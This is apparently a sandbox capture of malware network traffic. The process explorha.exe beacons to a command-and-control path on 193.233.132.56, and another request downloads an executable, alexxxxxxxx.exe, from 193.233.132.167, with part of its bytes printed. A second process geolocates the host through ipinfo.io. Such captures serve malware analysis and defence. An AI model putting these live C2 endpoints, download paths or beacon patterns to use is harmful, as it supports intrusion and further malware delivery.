Apr 13, 2024 20:21:52.123872995 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:52.498728991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49785	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:52.948824883 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:53.295244932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:53.295990944 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:53.642677069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49786	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:54.100308895 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:54.443176985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:54.443970919 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:54.797024012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49787	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:56.960124969 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:57.306005001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:57.307815075 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:57.658221960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49789	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:58.109328032 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:58.460324049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:58.461508989 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:58.811284065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49791	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:59.266448021 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:59.609044075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:59.609715939 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:59.958959103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49793	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:22:00.404638052 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:22:00.747699976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:22:00.749814034 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:22:01.097655058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49797	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:22:06.226834059 CEST	61	OUT	GET /lend/alexxxxxxxx.exe HTTP/1.1 Host: 193.233.132.167
Apr 13, 2024 20:22:06.570059061 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:22:06 GMT Content-Type: application/octet-stream Content-Length: 1793536 Last-Modified: Sat, 06 Apr 2024 12:58:33 GMT Connection: keep-alive ETag: "661146f9-1b5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 94 ab f9 65 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 54 1b 00 00 08 00 00 00 00 00 00 4e 72 1b 00 00 20 00 00 00 80 1b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 1b 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 72 1b 00 4b 00 00 00 00 80 1b 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 1b 00 0c 00 00 00 b7 71 1b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 52 1b 00 00 20 00 00 00 54 1b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 44 05 00 00 00 80 1b 00 00 06 00 00 00 56 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 1b 00 00 02 00 00 00 5c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 72 1b 00 00 00 00 00 48 00 00 00 02 00 05 00 ac 77 01 00 78 08 01 00 03 00 02 00 10 00 00 06 24 80 02 00 ef 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 6a 00 00 00 01 00 00 11 7e 01 00 00 04 3a 5f 00 00 00 17 80 01 00 00 04 7e af 00 00 04 28 fe 02 00 06 20 e8 07 00 00 20 03 00 00 00 20 13 00 00 00 73 0f 00 00 0a 7e b0 00 00 04 28 02 03 00 06 fe 0e 00 00 fe 0d 00 00 7e b1 00 00 04 28 06 03 00 06 7e b2 00 00 04 28 0a 03 00 06 20 0e 00 00 00 3f 0b 00 00 00 72 01 00 00 70 73 10 00 00 0a 7a 2a 00 00 1a 28 01 00 00 06 2a 00 13 30 04 00 24 00 00 00 02 00 00 11 16 0a 72 ea 00 00 70 03 8c 0d 00 00 01 7e b3 00 00 04 28 0e 03 00 06 7e b4 00 00 04 28 12 03 00 06 0a 06 2a 12 03 04 5d 2a 00 00 00 1b 30 06 00 0e 03 00 00 03 00 00 11 14 13 11 14 13 12 73 09 00 00 06 13 13 11 13 02 7d 04 00 00 04 0e 04 8e 69 0a 14 0c 14 0d 20 00 01 00 00 8d 1c 00 00 01 0c 20 00 01 00 00 8d 1c 00 00 01 0d dd 06 00 00 00 26 dd 00 00 00 00 11 13 16 7d 03 00 00 04 38 0c 01 00 00 11 13 7b 03 00 00 04 13 04 1f 64 13 05 02 11 04 7e b5 00 00 04 28 16 03 00 06 13 05 08 11 05 8c 1c 00 00 01 11 13 7b 03 00 00 04 7e b6 00 00 04 28 1a 03 00 06 73 11 00 00 0a 13 09 11 09 17 6f 12 00 00 0a 11 09 18 6f 12 00 00 0a 11 09 19 6f 12 00 00 0a 11 09 1a 6f 12 00 00 0a 11 09 1b 6f 12 00 00 0a 11 09 13 06 11 06 11 13 7b 03 00 00 04 6f 12 00 00 0a 11 06 11 11 3a 0f 00 00 00 11 13 fe 06 0a 00 00 06 73 13 00 00 0a 13 11 11 11 28 01 00 00 2b 11 12 3a 0e 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELeTNr @ `rKDq H.textTR T `.rsrcDV@@.reloc\@B0rHwx$&0j~:_~( s~(~(~( ?rpsz(0$rp~(~(]0s}i &}8{d~({~(sooooo{o:s(+:
Apr 13, 2024 20:22:06.570100069 CEST	1289	IN	Data Raw: 02 fe 06 07 00 00 06 73 15 00 00 0a 13 12 11 12 28 02 00 00 2b 28 03 00 00 2b 16 91 13 07 16 13 08 38 32 00 00 00 11 08 18 5d 3a 23 00 00 00 09 0e 04 11 07 06 5d 91 8c 1c 00 00 01 11 13 7b 03 00 00 04 7e b6 00 00 04 28 1a 03 00 06 38 0f 00 00 00 Data Ascii: s(+(+82]:#]{~(8X?%{X}{ ?}8u{ ;* ;{{XX ]{{&
Apr 13, 2024 20:22:06.570162058 CEST	1289	IN	Data Raw: 00 00 04 7e c1 00 00 04 28 46 03 00 06 73 06 00 00 06 0b 07 72 12 01 00 70 1f 6f 7e 06 00 00 04 7e 05 00 00 04 7e c2 00 00 04 28 4a 03 00 06 15 7e 02 00 00 04 16 8f 1c 00 00 01 7e 02 00 00 04 8e 69 1f 40 12 00 7e c3 00 00 04 28 4e 03 00 06 26 16 Data Ascii: ~(Fsrpo~~~(J~~i@~(N& ~~~(R~(V&zF~("(0F~("%~(&
Apr 13, 2024 20:22:06.570204973 CEST	1289	IN	Data Raw: 05 11 06 09 19 1f 16 1a 06 28 20 00 00 06 12 03 11 04 11 05 11 06 1a 1d 1b 06 28 20 00 00 06 12 06 09 11 04 11 05 1b 1f 0c 1c 06 28 20 00 00 06 12 05 11 06 09 11 04 1c 1f 11 1d 06 28 20 00 00 06 12 04 11 05 11 06 09 1d 1f 16 1e 06 28 20 00 00 06 Data Ascii: ( ( ( ( ( ( ( ( ( ( ( ( (
Apr 13, 2024 20:22:06.570242882 CEST	1289	IN	Data Raw: 02 4b 03 05 5f 04 05 66 5f 60 58 0e 07 0e 04 95 58 7e 0d 00 00 04 0e 06 17 59 95 58 0e 05 28 24 00 00 06 58 54 2a 00 00 00 96 02 03 02 4b 03 04 61 05 61 58 0e 07 0e 04 95 58 7e 0d 00 00 04 0e 06 17 59 95 58 0e 05 28 24 00 00 06 58 54 2a 00 00 9a Data Ascii: K_f_`XX~YX($XTKaaXX~YX($XTKf`aXX~YX($XTF Y_d_b`n~:()~(0i]i[ii[>X8
Apr 13, 2024 20:22:06.570281029 CEST	1289	IN	Data Raw: 00 13 10 16 13 11 11 0e 11 07 17 59 40 46 00 00 00 11 06 16 3e 3e 00 00 00 16 13 0a 16 13 12 38 25 00 00 00 11 12 16 3e 06 00 00 00 11 0a 1e 62 13 0a 11 0a 11 05 11 05 8e 69 17 11 12 58 59 91 60 13 0a 11 12 17 58 13 12 11 12 11 06 3f d2 ff ff ff Data Ascii: Y@F>>8%>biXY`X?8+XbXb`Xb`` K& Xp' W( w)*'&Y' }x) _Z) dY) ' _Z'
Apr 13, 2024 20:22:06.570318937 CEST	1289	IN	Data Raw: 23 11 1d 3a 0a 00 00 00 7e 53 00 00 0a 38 05 00 00 00 7e 54 00 00 0a 11 1e 6f 55 00 00 0a 11 23 7e 56 00 00 0a 6f 4c 00 00 0a 11 1a 14 11 22 06 6f 57 00 00 0a 6f 41 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 11 19 17 58 13 19 11 19 07 8e 69 3f fc Data Ascii: #:~S8~ToU#~VoL"oWoA&Xi?&AL.r0p(X.rdp(X**04
Apr 13, 2024 20:22:06.570357084 CEST	1289	IN	Data Raw: 00 06 d0 1c 00 00 02 28 19 00 00 0a 28 69 00 00 0a 74 1c 00 00 02 80 31 00 00 04 7e 31 00 00 04 02 6f 7a 00 00 06 2a 00 00 00 e2 7e 32 00 00 04 7e 1c 00 00 0a 28 6b 00 00 0a 39 1e 00 00 00 72 e2 04 00 70 28 59 00 00 0a 72 f2 04 00 70 28 68 00 00 Data Ascii: ((it1~1oz~2~(k9rp(Yrp(h(82~20Pslo2i8o)XY=9om7Asn2tFoo*0e
Apr 13, 2024 20:22:06.570394993 CEST	1289	IN	Data Raw: 03 00 06 7d 73 00 00 04 06 7b 73 00 00 04 7e d5 00 00 04 28 96 03 00 06 13 0e 06 11 0e 8e 69 8d 32 00 00 02 7d 75 00 00 04 16 13 0f 38 d2 02 00 00 11 0e 11 0f 9a 7e d6 00 00 04 28 9a 03 00 06 13 10 73 8f 02 00 06 13 11 11 11 11 10 7e d7 00 00 04 Data Ascii: }s{s~(i2}u8~(s~(}d}c{u~(9~(~(r~(989~(r~(98[~(r
Apr 13, 2024 20:22:06.570434093 CEST	1289	IN	Data Raw: 7e 3b 00 00 04 7e da 00 00 04 28 aa 03 00 06 13 1e 11 1d 11 1e 7d 57 00 00 04 11 1e 20 b0 00 00 00 3f 06 00 00 00 73 86 00 00 0a 7a 7e 3c 00 00 04 11 1e 91 13 1f 11 1f 3a 0d 00 00 00 11 1d 14 7d 58 00 00 04 38 ee 00 00 00 14 13 20 11 1f 17 59 45 Data Ascii: ~;~(}W ?sz~<:}X8 YE ;Vq8~;~( 8~;~(/ 8~;~(] 8o~;~(^ 8T~;~(!!
Apr 13, 2024 20:22:06.914681911 CEST	1289	IN	Data Raw: 72 03 00 06 7e e0 00 00 04 28 c2 03 00 06 39 2b 00 00 00 07 7b 80 00 00 04 39 20 00 00 00 11 06 16 07 7b 80 00 00 04 11 2b 7e df 00 00 04 28 be 03 00 06 7e e7 00 00 04 28 de 03 00 06 a2 11 04 16 3e c5 00 00 00 16 13 2c 09 39 06 00 00 00 11 2c 17 Data Ascii: r~(9+{9 {+~(~(>,9,X,-8-~(..~(9}.~(.{}-9U{s~(9,{}-.~(8',{}-X.~(8,

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49762	34.117.186.192	443	2252	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:39 UTC	237	OUT	GET /widget/demo/81.181.54.60 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-13 18:21:39 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sat, 13 Apr 2024 18:21:39 GMT content-type: application/json; charset=utf-8 Content-Length: 991 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-13 18:21:39 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 43 61 6c 69 66 6f 72 6e 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 34 2e 30 35 32 32 2c 2d 31 31 38 2e 32 34 33 37 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 39 30 30 30 39 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "input": "81.181.54.60", "data": { "ip": "81.181.54.60", "city": "Los Angeles", "region": "California", "country": "US", "loc": "34.0522,-118.2437", "org": "AS212238 Datacamp Limited", "postal": "90009", "timezone": "
